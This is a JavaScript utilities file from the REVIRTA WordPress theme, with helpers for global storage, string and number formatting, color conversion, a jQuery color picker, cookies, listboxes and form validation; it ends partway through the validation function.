/home/bonphmya/geldmarkplaatz.com/wp-contentccc/themes/revirta/revirta/js/_utils.js
/**
 * Javascript utilities
 *
 * @package WordPress
 * @subpackage REVIRTA
 * @since REVIRTA 1.0
 */

/* global jQuery:false */
/* global REVIRTA_STORAGE:false */

/* Global variables manipulations
---------------------------------------------------------------- */

(function(){
	"use strict";

	// Global variables storage
	if (typeof REVIRTA_STORAGE == 'undefined') window.REVIRTA_STORAGE = {};
	
	// Get global variable
	window.revirta_storage_get = function(var_name) {
		return revirta_isset(REVIRTA_STORAGE[var_name]) ? REVIRTA_STORAGE[var_name] : '';
	};
	
	// Set global variable
	window.revirta_storage_set = function(var_name, value) {
		REVIRTA_STORAGE[var_name] = value;
	};
	
	// Inc/Dec global variable with specified value
	window.revirta_storage_inc = function(var_name) {
		var value = arguments[1]===undefined ? 1 : arguments[1];
		REVIRTA_STORAGE[var_name] += value;
	};
	
	// Concatenate global variable with specified value
	window.revirta_storage_concat = function(var_name, value) {
		REVIRTA_STORAGE[var_name] += ''+value;
	};
	
	// Get global array element
	window.revirta_storage_get_array = function(var_name, key) {
		return revirta_isset(REVIRTA_STORAGE[var_name][key]) ? REVIRTA_STORAGE[var_name][key] : '';
	};
	
	// Set global array element
	window.revirta_storage_set_array = function(var_name, key, value) {
		if (!revirta_isset(REVIRTA_STORAGE[var_name])) REVIRTA_STORAGE[var_name] = {};
		REVIRTA_STORAGE[var_name][key] = value;
	};
	
	// Inc/Dec global array element with specified value
	window.revirta_storage_inc_array = function(var_name, key) {
		var value = arguments[2]===undefined ? 1 : arguments[2];
		REVIRTA_STORAGE[var_name][key] += value;
	};
	
	// Concatenate global array element with specified value
	window.revirta_storage_concat_array = function(var_name, key, value) {
		REVIRTA_STORAGE[var_name][key] += ''+value;
	};
	
	
	
	/* PHP-style functions
	---------------------------------------------------------------- */
	window.revirta_isset = function(obj) {
		return typeof(obj) != 'undefined';
	};
	
	window.revirta_empty = function(obj) {
		return typeof(obj) == 'undefined' || (typeof(obj)=='object' && obj == null) || (typeof(obj)=='array' && obj.length == 0) || (typeof(obj)=='string' && revirta_alltrim(obj)=='') || obj===0;
	};
	
	window.revirta_is_array = function(obj)  {
		return typeof(obj)=='array';
	};
	
	window.revirta_is_object = function(obj)  {
		return typeof(obj)=='object';
	};
	
	window.revirta_clone_object = function(obj) {
		if (obj == null || typeof(obj) != 'object') {
			return obj;
		}
		var temp = {};
		for (var key in obj) {
			temp[key] = revirta_clone_object(obj[key]);
		}
		return temp;
	};
	
	window.revirta_merge_objects = function(obj1, obj2)  {
		for (var i in obj2) obj1[i] = obj2[i];
		return obj1;
	};
	
	// Generates a storable representation of a value
	window.revirta_serialize = function(mixed_val) {
		var obj_to_array = arguments.length==1 || argument[1]===true;
	
		switch (typeof(mixed_val)) {
	
			case "number":
				if (isNaN(mixed_val) || !isFinite(mixed_val))
					return false;
				else
					return (Math.floor(mixed_val) == mixed_val ? "i" : "d") + ":" + mixed_val + ";";
	
			case "string":
				return "s:" + mixed_val.length + ":\"" + mixed_val + "\";";
	
			case "boolean":
				return "b:" + (mixed_val ? "1" : "0") + ";";
	
			case "object":
				if (mixed_val == null)
					return "N;";
				else if (mixed_val instanceof Array) {
					var idxobj = { idx: -1 };
					var map = [];
					for (var i=0; i < mixed_val.length; i++) {
						idxobj.idx++;
						var ser = revirta_serialize(mixed_val[i]);
						if (ser)
							map.push(revirta_serialize(idxobj.idx) + ser);
					}                                      
					return "a:" + mixed_val.length + ":{" + map.join("") + "}";
				} else {
					var class_name = revirta_get_class(mixed_val);
					if (class_name == undefined)
						return false;
					var props = new Array();
					for (var prop in mixed_val) {
						var ser = revirta_serialize(mixed_val[prop]);
						if (ser)
							props.push(revirta_serialize(prop) + ser);
					}
					if (obj_to_array)
						return "a:" + props.length + ":{" + props.join("") + "}";
					else
						return "O:" + class_name.length + ":\"" + class_name + "\":" + props.length + ":{" + props.join("") + "}";
				}
	
			case "undefined":
				return "N;";
		}
		return false;
	};
	
	// Returns the name of the class of an object
	window.revirta_get_class = function(obj) {
		if (obj instanceof Object && !(obj instanceof Array) && !(obj instanceof Function) && obj.constructor) {
			var arr = obj.constructor.toString().match(/function\s*(\w+)/);
			if (arr && arr.length == 2) return arr[1];
		}
		return false;
	};
	
	
	/* String functions
	---------------------------------------------------------------- */
	
	window.revirta_in_list = function(str, list) {
		var delim = arguments[2]!==undefined ? arguments[2] : '|';
		var icase = arguments[3]!==undefined ? arguments[3] : true;
		var retval = false;
		if (icase) {
			if (typeof(str)=='string') str = str.toLowerCase();
			list = list.toLowerCase();
		}
		var parts = list.split(delim);
		for (var i=0; i < parts.length; i++) {
			if (parts[i]==str) {
				retval=true;
				break;
			}
		}
		return retval;
	};
	
	window.revirta_alltrim = function(str) {
		var dir = arguments[1]!==undefined ? arguments[1] : 'a';
		var rez = '';
		var i, start = 0, end = str.length-1;
		if (dir=='a' || dir=='l') {
			for (i=0; i < str.length; i++) {
				if (str.substr(i,1)!=' ') {
					start = i;
					break;
				}
			}
		}
		if (dir=='a' || dir=='r') {
			for (i=str.length-1; i >= 0; i--) {
				if (str.substr(i,1)!=' ') {
					end = i;
					break;
				}
			}
		}
		return str.substring(start, end+1);
	};
	
	window.revirta_ltrim = function(str) {
		return revirta_alltrim(str, 'l');
	};
	
	window.revirta_rtrim = function(str) {
		return revirta_alltrim(str, 'r');
	};
	
	window.revirta_padl = function(str, len) {
		var ch = arguments[2]!==undefined ? arguments[2] : ' ';
		var rez = str.substr(0,len);
		if (rez.length < len) {
			for (var i=0; i < len-str.length; i++)
				rez += ch;
		}
		return rez;
	};
	
	window.revirta_padr = function(str, len) {
		var ch = arguments[2]!==undefined ? arguments[2] : ' ';
		var rez = str.substr(0,len);
		if (rez.length < len) {
			for (var i=0; i < len-str.length; i++)
				rez = ch + rez;
		}
		return rez;
	};
	
	window.revirta_padc = function(str, len) {
		var ch = arguments[2]!==undefined ? arguments[2] : ' ';
		var rez = str.substr(0,len);
		if (rez.length < len) {
			for (var i=0; i < Math.floor((len-str.length)/2); i++)
				rez = ch + rez + ch;
		}
		return rez+(rez.length<len ? ch : '');
	};
	
	window.revirta_replicate = function(str, num) {
		var rez = '';
		for (var i=0; i < num; i++) {
			rez += str;
		}
		return rez;
	};
	
	window.revirta_prepare_macros = function(str) {
		return str
			.replace(/\{\{/g, "<i>")
			.replace(/\}\}/g, "</i>")
			.replace(/\(\(/g, "<b>")
			.replace(/\)\)/g, "</b>")
			.replace(/\|\|/g, "<br>");
	};
	
	
	
	/* Numbers functions
	---------------------------------------------------------------- */
	
	// Round number to specified precision.
	window.revirta_round_number = function(num) {
		var precision = arguments[1]!==undefined ? arguments[1] : 0;
		var p = Math.pow(10, precision);
		return Math.round(num*p)/p;
	};
	
	// Clear number from any characters and append it with 0 to desired precision
	window.revirta_clear_number = function(num) {
		var precision = arguments[1]!==undefined ? arguments[1] : 0;
		var defa = arguments[2]!==undefined ? arguments[2] : 0;
		var res = '';
		var decimals = -1;
		num = ""+num;
		if (num=="") num=""+defa;
		for (var i=0; i < num.length; i++) {
			if (decimals==0) break;
			else if (decimals>0) decimals--;
			var ch = num.substr(i,1);
			if (ch=='.') {
				if (precision>0) {
					res += ch;
				}
				decimals = precision;
			} else if ((ch>=0 && ch<=9) || (ch=='-' && i==0))
				res+=ch;
		}
		if (precision>0 && decimals!=0) {
			if (decimals==-1) {
				res += '.';
				decimals = precision;
			}
			for (i=decimals; i > 0; i--)
				res +='0'; 
		}
		return res;
	};
	
	// Convert number from decimal to hex
	window.revirta_dec2hex = function(n) { 
		return Number(n).toString(16);
	};
	
	// Convert number from hex to decimal
	window.revirta_hex2dec = function(hex) {
		return parseInt(hex,16); 
	};
	
	
	
	/* Array manipulations
	---------------------------------------------------------------- */
	
	window.revirta_in_array = function(val, thearray)  {
		var rez = false;
		for (var i=0; i < thearray.length-1; i++)  {
			if (thearray[i] == val)  {
				rez = true;
				break;
			}
		}
		return rez;
	};
	
	window.revirta_sort_array = function(thearray)  {
		var caseSensitive = arguments[1]!==undefined ? arguments[1] : false;
		var tmp = '';
		for (var x=0; x < thearray.length-1; x++)  {
			for (var y=(x+1); y < thearray.length; y++)  {
				if (caseSensitive) {
					if (thearray[x] > thearray[y])  {
						tmp = thearray[x];
						thearray[x] = thearray[y];
						thearray[y] = tmp;
					}  
				} else {
					if (thearray[x].toLowerCase() > thearray[y].toLowerCase())  {
						tmp = thearray[x];
						thearray[x] = thearray[y];
						thearray[y] = tmp;
					}  
				}
			}  
		}
		return thearray;
	};
	
	
	
	/* Date manipulations
	---------------------------------------------------------------- */
	
	// Return array[Year, Month, Day, Hours, Minutes, Seconds]
	// from string: Year[-/.]Month[-/.]Day[T ]Hours:Minutes:Seconds
	window.revirta_parse_date = function(dt) {
		dt = dt.replace(/\//g, '-').replace(/\./g, '-').replace(/T/g, ' ').split('+')[0];
		var dt2 = dt.split(' ');
		var d = dt2[0].split('-');
		var t = dt2[1].split(':');
		d.push(t[0], t[1], t[2]);
		return d;
	};
	
	// Return difference string between two dates
	window.revirta_get_date_difference = function(dt1) {
		var dt2 = arguments[1]!==undefined ? arguments[1] : '';
		var short_date = arguments[2]!==undefined ? arguments[2] : true;
		var sec = arguments[3]!==undefined ? arguments[3] : false;
		var a1 = revirta_parse_date(dt1);
		dt1 = Date.UTC(a1[0], a1[1], a1[2], a1[3], a1[4], a1[5]);
		if (dt2 == '') {
			dt2 = new Date();
			var a2 = [dt2.getFullYear(), dt2.getMonth()+1, dt2.getDate(), dt2.getHours(), dt2.getMinutes(), dt2.getSeconds()];
		} else
			var a2 = revirta_parse_date(dt2);
		dt2 = Date.UTC(a2[0], a2[1], a2[2], a2[3], a2[4], a2[5]);
		var diff = Math.round((dt2 - dt1)/1000);
		var days = Math.floor(diff / (24*3600));
		diff -= days * 24 * 3600;
		var hours = Math.floor(diff / 3600);
		diff -= hours * 3600;
		var minutes = Math.floor(diff / 60);
		diff -= minutes * 60;
		var rez = '';
		if (days > 0)
			rez += (rez!='' ? ' ' : '') + days + ' day' + (days > 1 ? 's' : '');
		if ((!short_date || rez=='') && hours > 0)
			rez += (rez!='' ? ' ' : '') + hours + ' hour' + (hours > 1 ? 's' : '');
		if ((!short_date || rez=='') && minutes > 0)
			rez +=  (rez!='' ? ' ' : '') + minutes + ' minute' + (minutes > 1 ? 's' : '');
		if (sec || rez=='')
			rez +=  rez!='' || sec ? (' ' + diff + ' second' + (diff > 1 ? 's' : '')) : 'less then minute';
		return rez;
	};
	
	
	
	/* Colors functions
	---------------------------------------------------------------- */
	
	window.revirta_hex2rgb = function(hex) {
		hex = parseInt(((hex.indexOf('#') > -1) ? hex.substring(1) : hex), 16);
		return {r: hex >> 16, g: (hex & 0x00FF00) >> 8, b: (hex & 0x0000FF)};
	};

	window.revirta_hex2rgba = function(hex, alpha) {
		var rgb = revirta_hex2rgb(hex);
		return 'rgba('+rgb.r+','+rgb.g+','+rgb.b+','+alpha+')';
	};

	window.revirta_rgb2hex = function(color) {
		var aRGB;
		color = color.replace(/\s/g,"").toLowerCase();
		if (color=='rgba(0,0,0,0)' || color=='rgba(0%,0%,0%,0%)')
			color = 'transparent';
		if (color.indexOf('rgba(')==0)
			aRGB = color.match(/^rgba\((\d{1,3}[%]?),(\d{1,3}[%]?),(\d{1,3}[%]?),(\d{1,3}[%]?)\)$/i);
		else	
			aRGB = color.match(/^rgb\((\d{1,3}[%]?),(\d{1,3}[%]?),(\d{1,3}[%]?)\)$/i);
		
		if(aRGB) {
			color = '';
			for (var i=1; i <= 3; i++) 
				color += Math.round((aRGB[i][aRGB[i].length-1]=="%"?2.55:1)*parseInt(aRGB[i])).toString(16).replace(/^(.)$/,'0$1');
		} else 
			color = color.replace(/^#?([\da-f])([\da-f])([\da-f])$/i, '$1$1$2$2$3$3');
		return (color.substr(0,1)!='#' ? '#' : '') + color;
	};
	
	window.revirta_components2hex = function(r,g,b) {
		return '#'+
			Number(r).toString(16).toUpperCase().replace(/^(.)$/,'0$1') +
			Number(g).toString(16).toUpperCase().replace(/^(.)$/,'0$1') +
			Number(b).toString(16).toUpperCase().replace(/^(.)$/,'0$1');
	};
	
	window.revirta_rgb2components = function(color) {
		color = revirta_rgb2hex(color);
		var matches = color.match(/^#?([\dabcdef]{2})([\dabcdef]{2})([\dabcdef]{2})$/i);
		if (!matches) return false;
		for (var i=1, rgb = new Array(3); i <= 3; i++)
			rgb[i-1] = parseInt(matches[i],16);
		return rgb;
	};
	
	window.revirta_hex2hsb = function(hex) {
		var h = arguments[1]!==undefined ? arguments[1] : 0;
		var s = arguments[2]!==undefined ? arguments[2] : 0;
		var b = arguments[3]!==undefined ? arguments[3] : 0;
		var hsb = revirta_rgb2hsb(revirta_hex2rgb(hex));
		hsb.h = Math.min(359, hsb.h + h);
		hsb.s = Math.min(100, hsb.s + s);
		hsb.b = Math.min(100, hsb.b + b);
		return hsb;
	};
	
	window.revirta_hsb2hex = function(hsb) {
		var rgb = revirta_hsb2rgb(hsb);
		return revirta_components2hex(rgb.r, rgb.g, rgb.b);
	};
	
	window.revirta_rgb2hsb = function(rgb) {
		var hsb = {};
		hsb.b = Math.max(Math.max(rgb.r,rgb.g),rgb.b);
		hsb.s = (hsb.b <= 0) ? 0 : Math.round(100*(hsb.b - Math.min(Math.min(rgb.r,rgb.g),rgb.b))/hsb.b);
		hsb.b = Math.round((hsb.b /255)*100);
		if ((rgb.r==rgb.g) && (rgb.g==rgb.b))  hsb.h = 0;
		else if (rgb.r>=rgb.g && rgb.g>=rgb.b) hsb.h = 60*(rgb.g-rgb.b)/(rgb.r-rgb.b);
		else if (rgb.g>=rgb.r && rgb.r>=rgb.b) hsb.h = 60  + 60*(rgb.g-rgb.r)/(rgb.g-rgb.b);
		else if (rgb.g>=rgb.b && rgb.b>=rgb.r) hsb.h = 120 + 60*(rgb.b-rgb.r)/(rgb.g-rgb.r);
		else if (rgb.b>=rgb.g && rgb.g>=rgb.r) hsb.h = 180 + 60*(rgb.b-rgb.g)/(rgb.b-rgb.r);
		else if (rgb.b>=rgb.r && rgb.r>=rgb.g) hsb.h = 240 + 60*(rgb.r-rgb.g)/(rgb.b-rgb.g);
		else if (rgb.r>=rgb.b && rgb.b>=rgb.g) hsb.h = 300 + 60*(rgb.r-rgb.b)/(rgb.r-rgb.g);
		else 								   hsb.h = 0;
		hsb.h = Math.round(hsb.h);
		return hsb;
	};
	
	window.revirta_hsb2rgb = function(hsb) {
		var rgb = {};
		var h = Math.round(hsb.h);
		var s = Math.round(hsb.s*255/100);
		var v = Math.round(hsb.b*255/100);
		if (s == 0) {
			rgb.r = rgb.g = rgb.b = v;
		} else {
			var t1 = v;
			var t2 = (255-s)*v/255;
			var t3 = (t1-t2)*(h%60)/60;
			if (h==360) h = 0;
			if (h<60) 		{ rgb.r=t1;	rgb.b=t2;   rgb.g=t2+t3; }
			else if (h<120) { rgb.g=t1; rgb.b=t2;	rgb.r=t1-t3; }
			else if (h<180) { rgb.g=t1; rgb.r=t2;	rgb.b=t2+t3; }
			else if (h<240) { rgb.b=t1; rgb.r=t2;	rgb.g=t1-t3; }
			else if (h<300) { rgb.b=t1; rgb.g=t2;	rgb.r=t2+t3; }
			else if (h<360) { rgb.r=t1; rgb.g=t2;	rgb.b=t1-t3; }
			else 			{ rgb.r=0;  rgb.g=0;	rgb.b=0;	 }
		}
		return { r:Math.round(rgb.r), g:Math.round(rgb.g), b:Math.round(rgb.b) };
	};
	
	window.revirta_color_picker = function(){
		var id = arguments[0]!==undefined ? arguments[0] : "iColorPicker"+Math.round(Math.random()*1000);
		var colors = arguments[1]!==undefined ? arguments[1] : 
		'#f00,#ff0,#0f0,#0ff,#00f,#f0f,#fff,#ebebeb,#e1e1e1,#d7d7d7,#cccccc,#c2c2c2,#b7b7b7,#acacac,#a0a0a0,#959595,'
		+'#ee1d24,#fff100,#00a650,#00aeef,#2f3192,#ed008c,#898989,#7d7d7d,#707070,#626262,#555,#464646,#363636,#262626,#111,#000,'
		+'#f7977a,#fbad82,#fdc68c,#fff799,#c6df9c,#a4d49d,#81ca9d,#7bcdc9,#6ccff7,#7ca6d8,#8293ca,#8881be,#a286bd,#bc8cbf,#f49bc1,#f5999d,'
		+'#f16c4d,#f68e54,#fbaf5a,#fff467,#acd372,#7dc473,#39b778,#16bcb4,#00bff3,#438ccb,#5573b7,#5e5ca7,#855fa8,#a763a9,#ef6ea8,#f16d7e,'
		+'#ee1d24,#f16522,#f7941d,#fff100,#8fc63d,#37b44a,#00a650,#00a99e,#00aeef,#0072bc,#0054a5,#2f3192,#652c91,#91278f,#ed008c,#ee105a,'
		+'#9d0a0f,#a1410d,#a36209,#aba000,#588528,#197b30,#007236,#00736a,#0076a4,#004a80,#003370,#1d1363,#450e61,#62055f,#9e005c,#9d0039,'
		+'#790000,#7b3000,#7c4900,#827a00,#3e6617,#045f20,#005824,#005951,#005b7e,#003562,#002056,#0c004b,#30004a,#4b0048,#7a0045,#7a0026';
		var colorsList = colors.split(',');
		var tbl = '<table class="colorPickerTable"><thead>';
		for (var i=0; i < colorsList.length; i++) {
			if (i%16==0) tbl += (i>0 ? '</tr>' : '') + '<tr>';
			tbl += '<td style="background-color:'+colorsList[i]+'">&nbsp;</td>';
		}
		tbl += '</tr></thead><tbody>'
			+ '<tr style="height:60px;">'
			+ '<td colspan="8" id="'+id+'_colorPreview" style="vertical-align:middle;text-align:center;border:1px solid #000;background:#fff;">'
			+ '<input style="width:55px;color:#000;border:1px solid rgb(0, 0, 0);padding:5px;background-color:#fff;font:11px Arial, Helvetica, sans-serif;" maxlength="7" />'
			+ '<a href="#" id="'+id+'_moreColors" class="iColorPicker_moreColors"></a>'
			+ '</td>'
			+ '<td colspan="8" id="'+id+'_colorOriginal" style="vertical-align:middle;text-align:center;border:1px solid #000;background:#fff;">'
			+ '<input style="width:55px;color:#000;border:1px solid rgb(0, 0, 0);padding:5px;background-color:#fff;font:11px Arial, Helvetica, sans-serif;" readonly="readonly" />'
			+ '</td>'
			+ '</tr></tbody></table>';
	
		jQuery(document.createElement("div"))
			.attr("id", id)
			.css('display','none')
			.html(tbl)
			.appendTo("body")
			.addClass("iColorPickerTable")
			.on('mouseover', 'thead td', function(){
				var aaa = revirta_rgb2hex(jQuery(this).css('background-color'));
				jQuery('#'+id+'_colorPreview').css('background',aaa);
				jQuery('#'+id+'_colorPreview input').val(aaa);
			})
			.on('keypress', '#'+id+'_colorPreview input', function(key){
				var aaa = jQuery(this).val();
				if (aaa.length<7 && ((key.which>=48 && key.which<=57) || (key.which>=97 && key.which<=102) || (key.which===35 || aaa.length===0))) {
					aaa += String.fromCharCode(key.which);
				} else if (key.which == 8 && aaa.length>0) {
					aaa = aaa.substring(0, aaa.length-1);
				} else if (key.which===13 && (aaa.length===4 || aaa.length===7)) {
					var fld  = jQuery('#'+id).data('field');
					var func = jQuery('#'+id).data('func');
					if (func!=null && func!='undefined') {
						func(fld, aaa);
					} else {
						fld.val(aaa).css('backgroundColor', aaa).trigger('change');
					}
					jQuery('#'+id+'_Bg').fadeOut(500);
					jQuery('#'+id).fadeOut(500);
					
				} else {
					key.preventDefault();
					return false;
				}
				if (aaa.substr(0,1)==='#' && (aaa.length===4 || aaa.length===7)) {
					jQuery('#'+id+'_colorPreview').css('background',aaa);
				}
			})
			.on('click', 'thead td', function(e){
				var fld  = jQuery('#'+id).data('field');
				var func = jQuery('#'+id).data('func');
				var aaa  = revirta_rgb2hex(jQuery(this).css('background-color'));
				if (func!=null && func!='undefined') {
					func(fld, aaa);
				} else {
					fld.val(aaa).css('backgroundColor', aaa).trigger('change');
				}
				jQuery('#'+id+'_Bg').fadeOut(500);
				jQuery('#'+id).fadeOut(500);
				e.preventDefault();
				return false;
			})
			.on('click', 'tbody .iColorPicker_moreColors', function(e){
				var thead  = jQuery(this).parents('table').find('thead');
				var out = '';
				if (thead.hasClass('more_colors')) {
					for (var i=0; i < colorsList.length; i++) {
						if (i%16==0) out += (i>0 ? '</tr>' : '') + '<tr>';
						out += '<td style="background-color:'+colorsList[i]+'">&nbsp;</td>';
					}
					thead.removeClass('more_colors').empty().html(out+'</tr>');
					jQuery('#'+id+'_colorPreview').attr('colspan', 8);
					jQuery('#'+id+'_colorOriginal').attr('colspan', 8);
				} else {
					var rgb=[0,0,0], i=0, j=-1;	// Set j=-1 or j=0 - show 2 different colors layouts
					while (rgb[0]<0xF || rgb[1]<0xF || rgb[2]<0xF) {
						if (i%18==0) out += (i>0 ? '</tr>' : '') + '<tr>';
						i++;
						out += '<td style="background-color:'+revirta_components2hex(rgb[0]*16+rgb[0],rgb[1]*16+rgb[1],rgb[2]*16+rgb[2])+'">&nbsp;</td>';
						rgb[2]+=3;
						if (rgb[2]>0xF) {
							rgb[1]+=3;
							if (rgb[1]>(j===0 ? 6 : 0xF)) {
								rgb[0]+=3;
								if (rgb[0]>0xF) {
									if (j===0) {
										j=1;
										rgb[0]=0;
										rgb[1]=9;
										rgb[2]=0;
									} else {
										break;
									}
								} else {
									rgb[1]=(j < 1 ? 0 : 9);
									rgb[2]=0;
								}
							} else {
								rgb[2]=0;
							}
						}
					}
					thead.addClass('more_colors').empty().html(out+'<td  style="background-color:#ffffff" colspan="8">&nbsp;</td></tr>');
					jQuery('#'+id+'_colorPreview').attr('colspan', 9);
					jQuery('#'+id+'_colorOriginal').attr('colspan', 9);
				}
				jQuery('#'+id+' table.colorPickerTable thead td')
					.css({
						'width':'12px',
						'height':'14px',
						'border':'1px solid #000',
						'cursor':'pointer'
					});
				e.preventDefault();
				return false;
			});
		jQuery(document.createElement("div"))
			.attr("id", id+"_Bg")
			.on('click', function(e) {
				jQuery("#"+id+"_Bg").fadeOut(500);
				jQuery("#"+id).fadeOut(500);
				e.preventDefault();
				return false;
			})
			.appendTo("body");
		jQuery('#'+id+' table.colorPickerTable thead td')
			.css({
				'width':'12px',
				'height':'14px',
				'border':'1px solid #000',
				'cursor':'pointer'
			});
		jQuery('#'+id+' table.colorPickerTable')
			.css({'border-collapse':'collapse'});
		jQuery('#'+id)
			.css({
				'border':'1px solid #ccc',
				'background':'#333',
				'padding':'5px',
				'color':'#fff'
			});
		jQuery('#'+id+'_colorPreview')
			.css({'height':'50px'});
		return id;
	};
	
	window.revirta_color_picker_show = function(id, fld, func) { 
		if (id===null || id==='') {
			id = jQuery('.iColorPickerTable').attr('id');
		}
		var eICP = fld.offset();
		var w = jQuery('#'+id).width();
		var h = jQuery('#'+id).height();
		var l = eICP.left + w < jQuery(window).width()-10 ? eICP.left : jQuery(window).width()-10 - w;
		var t = eICP.top + fld.outerHeight() + h < jQuery(document).scrollTop() + jQuery(window).height()-10 ? eICP.top + fld.outerHeight() : eICP.top - h - 13;
		jQuery("#"+id)
			.data({field: fld, func: func})
			.css({
				'top':t+"px",
				'left':l+"px",
				'position':'absolute',
				'z-index':999999
			})
			.fadeIn(500);
		jQuery("#"+id+"_Bg")
			.css({
				'position':'fixed',
				'z-index':999998,
				'top':0,
				'left':0,
				'width':'100%',
				'height':'100%'
			})
			.fadeIn(500);
		var def = fld.val().substr(0, 1)=='#' ? fld.val() : revirta_rgb2hex(fld.css('backgroundColor'));
		jQuery('#'+id+'_colorPreview input,#'+id+'_colorOriginal input').val(def);
		jQuery('#'+id+'_colorPreview,#'+id+'_colorOriginal').css('background',def);
	};
	
	
	
	/* Cookies manipulations
	---------------------------------------------------------------- */
	
	window.revirta_get_cookie = function(name) {
		var defa = arguments[1]!==undefined ? arguments[1] : null;
		var start = document.cookie.indexOf(name + '=');
		var len = start + name.length + 1;
		if ((!start) && (name != document.cookie.substring(0, name.length))) {
			return defa;
		}
		if (start == -1)
			return defa;
		var end = document.cookie.indexOf(';', len);
		if (end == -1)
			end = document.cookie.length;
		return unescape(document.cookie.substring(len, end));
	};
	
	
	window.revirta_set_cookie = function(name, value) {
		var expires = arguments[2]!==undefined ? arguments[2] : 0;
		var path    = arguments[3]!==undefined ? arguments[3] : '/';
		var domain  = arguments[4]!==undefined ? arguments[4] : '';
		var secure  = arguments[5]!==undefined ? arguments[5] : '';
		var today = new Date();
		today.setTime(today.getTime());
		if (expires) {
			expires = expires * 1000 * 60 * 60 * 24;
		}
		var expires_date = new Date(today.getTime() + (expires));
		document.cookie = name + '='
				+ escape(value)
				+ ((expires) ? ';expires=' + expires_date.toGMTString() : '')
				+ ((path)    ? ';path=' + path : '')
				+ ((domain)  ? ';domain=' + domain : '')
				+ ((secure)  ? ';secure' : '');
	};
	
	
	window.revirta_del_cookie = function(name, path, domain) {
		var path   = arguments[1]!==undefined ? arguments[1] : '/';
		var domain = arguments[2]!==undefined ? arguments[2] : '';
		if (revirta_get_cookie(name))
			document.cookie = name + '=' + ((path) ? ';path=' + path : '')
					+ ((domain) ? ';domain=' + domain : '')
					+ ';expires=Thu, 01-Jan-1970 00:00:01 GMT';
	};
	
	
	
	/* ListBox and ComboBox manipulations
	---------------------------------------------------------------- */
	
	window.revirta_clear_listbox = function(box) {
		for (var i=box.options.length-1; i >= 0; i--)
			box.options[i] = null;
	};
	
	window.revirta_add_listbox_item = function(box, val, text) {
		var item = new Option();
		item.value = val;
		item.text = text;
		box.options.add(item);
	};
	
	window.revirta_del_listbox_item_by_value = function(box, val) {
		for (var i=0; i < box.options.length; i++) {
			if (box.options[i].value == val) {
				box.options[i] = null;
				break;
			}
		}
	};
	
	window.revirta_del_listbox_item_by_text = function(box, txt) {
		for (var i=0; i < box.options.length; i++) {
			if (box.options[i].text == txt) {
				box.options[i] = null;
				break;
			}
		}
	};
	
	window.revirta_find_listbox_item_by_value = function(box, val) {
		var idx = -1;
		for (var i=0; i < box.options.length; i++) {
			if (box.options[i].value == val) {
				idx = i;
				break;
			}
		}
		return idx;
	};
	
	window.revirta_find_listbox_item_by_text = function(box, txt) {
		var idx = -1;
		for (var i=0; i < box.options.length; i++) {
			if (box.options[i].text == txt) {
				idx = i;
				break;
			}
		}
		return idx;
	};
	
	window.revirta_select_listbox_item_by_value = function(box, val) {
		for (var i = 0; i < box.options.length; i++) {
			box.options[i].selected = (val == box.options[i].value);
		}
	};
	
	window.revirta_select_listbox_item_by_text = function(box, txt) {
		for (var i = 0; i < box.options.length; i++) {
			box.options[i].selected = (txt == box.options[i].text);
		}
	};
	
	window.revirta_get_listbox_values = function(box) {
		var delim = arguments[1]!==undefined ? arguments[1] : ',';
		var str = '';
		for (var i=0; i < box.options.length; i++) {
			str += (str ? delim : '') + box.options[i].value;
		}
		return str;
	};
	
	window.revirta_get_listbox_texts = function(box) {
		var delim = arguments[1]!==undefined ? arguments[1] : ',';
		var str = '';
		for (var i=0; i < box.options.length; i++) {
			str += (str ? delim : '') + box.options[i].text;
		}
		return str;
	};
	
	window.revirta_sort_listbox = function(box)  {
		var temp_opts = new Array();
		var temp = new Option();
		for(var i=0; i<box.options.length; i++)  {
			temp_opts[i] = box.options[i].clone();
		}
		for(var x=0; x<temp_opts.length-1; x++)  {
			for(var y=(x+1); y<temp_opts.length; y++)  {
				if(temp_opts[x].text > temp_opts[y].text)  {
					temp = temp_opts[x];
					temp_opts[x] = temp_opts[y];
					temp_opts[y] = temp;
				}  
			}  
		}
		for(var i=0; i<box.options.length; i++)  {
			box.options[i] = temp_opts[i].clone();
		}
	};
	
	window.revirta_get_listbox_selected_index = function(box) {
		for (var i = 0; i < box.options.length; i++) {
			if (box.options[i].selected)
				return i;
		}
		return -1;
	};
	
	window.revirta_get_listbox_selected_value = function(box) {
		for (var i = 0; i < box.options.length; i++) {
			if (box.options[i].selected) {
				return box.options[i].value;
			}
		}
		return null;
	};
	
	window.revirta_get_listbox_selected_text = function(box) {
		for (var i = 0; i < box.options.length; i++) {
			if (box.options[i].selected) {
				return box.options[i].text;
			}
		}
		return null;
	};
	
	window.revirta_get_listbox_selected_option = function(box) {
		for (var i = 0; i < box.options.length; i++) {
			if (box.options[i].selected) {
				return box.options[i];
			}
		}
		return null;
	};
	
	
	
	/* Radio buttons manipulations
	---------------------------------------------------------------- */
	
	window.revirta_get_radio_value = function(radioGroupObj) {
		for (var i=0; i < radioGroupObj.length; i++)
			if (radioGroupObj[i].checked) return radioGroupObj[i].value;
		return null;
	};
	
	window.revirta_set_radio_checked_by_num = function(radioGroupObj, num) {
		for (var i=0; i < radioGroupObj.length; i++)
			if (radioGroupObj[i].checked && i!=num) radioGroupObj[i].checked=false;
			else if (i==num) radioGroupObj[i].checked=true;
	};
	
	window.revirta_set_radio_checked_by_value = function(radioGroupObj, val) {
		for (var i=0; i < radioGroupObj.length; i++)
			if (radioGroupObj[i].checked && radioGroupObj[i].value!=val) radioGroupObj[i].checked=false;
			else if (radioGroupObj[i].value==val) radioGroupObj[i].checked=true;
	};
	
	
	
	/* Form manipulations
	---------------------------------------------------------------- */

	window.revirta_form_validate = function(form, opt) {
		var error_msg = '';
		form.find(":input").each(function() {
			if (error_msg!='' && opt.exit_after_first_error) return;
			for (var i = 0; i < opt.rules.length; i++) {
				if (jQuery(this).attr("name") == opt.rules[i].field) {
					var val = jQuery(this).val();
					var error = false;
					if (typeof(opt.rules[i].min_length) == 'object') {
						if (opt.rules[i].min_length.value > 0 && val.length < opt.rules[i].min_length.value) {
							if (error_msg=='') jQuery(this).get(0).focus();
							error_msg += '<p class="error_item">' + (typeof(opt.rules[i].min_length.message)!='undefined' ? opt.rules[i].min_length.message : opt.error_message_text ) + '</p>';
							error = true;
						}
					}
					if ((!error || !opt.exit_after_first_error) && typeof(opt.rules[i].max_length) == 'object') {
						if (opt.rules[i].max_length.value > 0 && val.length > opt.rules[i].max_length.value) {
							if (error_msg=='') jQuery(this).get(0).focus();
